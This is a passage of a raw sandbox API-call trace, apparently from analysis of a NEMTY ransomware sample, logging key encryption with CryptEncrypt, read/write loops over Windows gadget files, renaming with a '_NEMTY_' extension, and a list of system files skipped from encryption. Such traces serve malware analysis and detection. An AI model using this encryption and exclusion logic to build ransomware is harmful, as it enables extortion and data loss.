(HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0142.957] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e5dc | out: pszString="qjQjluV8JHJvWDrjdz/TAFlXsZndEf5IpCXnhzx49/zxIMRT7IY9HVwUOlQUhkFT\r\nvunYRPlBJgNdlS4Wch8oMTYWofXs5PDT2oRhMjb/X9X4oO+bINX2v3MAmyN8JITA\r\nXQnOiS4vz9CPprP7sY4utYUbHFxhrHnWxGwjom1gTwSZFpRpQHs1b6bOsh0JVciB\r\neMQcpa5Xd6c3lVhC0t+BMn0QT6IJCEv+L1Zb3I2o7Uu8NBn9ODJ4MBl0XpW8dsrU\r\n2PQ5QYyGNcZgS9/GdQyznkcLcA9sE6gcg3WZDFgKYUIBVRXG4wOZTsCfaCAAp4pN\r\ntVbDq/LloRc2a2eOjpdAkA==\r\n", pcchString=0x653e5dc) returned 1 [0142.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0142.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0142.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0142.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0142.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0142.957] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\flyout.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.957] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0142.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0142.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0142.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0142.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.967] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0142.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.976] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0142.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.976] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0142.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.985] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0142.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.985] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0142.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.994] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0142.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.994] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.004] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.004] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.013] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.022] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.031] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.050] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.057] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.057] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0143.063] CloseHandle (hObject=0xffffffff) returned 0 [0143.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0143.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0143.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0143.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c0 [0143.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0143.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0143.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\flyout.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\flyout.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\flyout.css._nemty_kgobjgd_")) returned 0 [0143.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0143.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0143.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0143.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0143.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0143.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0143.064] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="RSSFeeds.css", cAlternateFileName="")) returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2=".") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="..") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="...") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="windows") returned -1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="$RECYCLE.BIN") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="rsa") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="NTDETECT.COM") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="ntldr") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="MSDOS.SYS") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="IO.SYS") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="boot.ini") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="boot.ini") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="AUTOEXEC.BAT") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="ntuser.dat") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="desktop.ini") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="CONFIG.SYS") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="RECYCLER") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="BOOTSECT.BAK") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="bootmgr") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="programdata") returned 1 [0143.064] lstrcmpiW (lpString1="RSSFeeds.css", lpString2="appdata") returned 1 [0143.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0143.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSSFeeds.css", lpUsedDefaultChar=0x0) returned 12 [0143.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0143.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSSFeeds.css", lpUsedDefaultChar=0x0) returned 12 [0143.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0143.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.css", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSSFeeds.css", lpUsedDefaultChar=0x0) returned 12 [0143.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0143.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.css", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSSFeeds.css", lpUsedDefaultChar=0x0) returned 12 [0143.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0143.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0143.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0143.065] Sleep (dwMilliseconds=0x5) [0143.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x8eba6d0, dwHighDateTime=0x1d561e8)) [0143.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x8eba6d0, dwHighDateTime=0x1d561e8)) [0143.065] GetLastError () returned 0x5 [0143.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0143.065] GetLastError () returned 0x5 [0143.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0143.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.066] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0143.066] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0143.066] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0143.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0143.066] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e5dc | out: pszString="P3wd9lSs1bEN0/g+enJkjLN0RPuTtO9ahJ0WvHBZAj1/aM+geViJ87C+YL4+A84I\r\nAB9UnyHWyvH89M6GkW9z6Fra0VEN9wAQl9c9rRBz9GduPpiMVl8DhfXEcT58NsxR\r\nauD+NRYp3WQoPtYY4nUMrHAnzoUjAfpBIy5XCPtYO09tYlHGctNcE3sgLfXwnUXg\r\nqcpWuTNm8nuwNGmutduHcMuVDhbKvtAIq9HcdzI38wKrnN2MVnWHoW0GY2v6QqFy\r\nBEo+kZyr1gACPTVJtW40NlvBqkTgGlOwazEE72E41KqOj2lnnFM0F0aRChsl7D6a\r\niXJ+PC/Oztw4meZ9XriDtQ==\r\n", pcchString=0x653e5dc) returned 1 [0143.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0143.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0143.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0143.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0143.066] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\rssfeeds.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.067] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0143.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0143.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.067] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 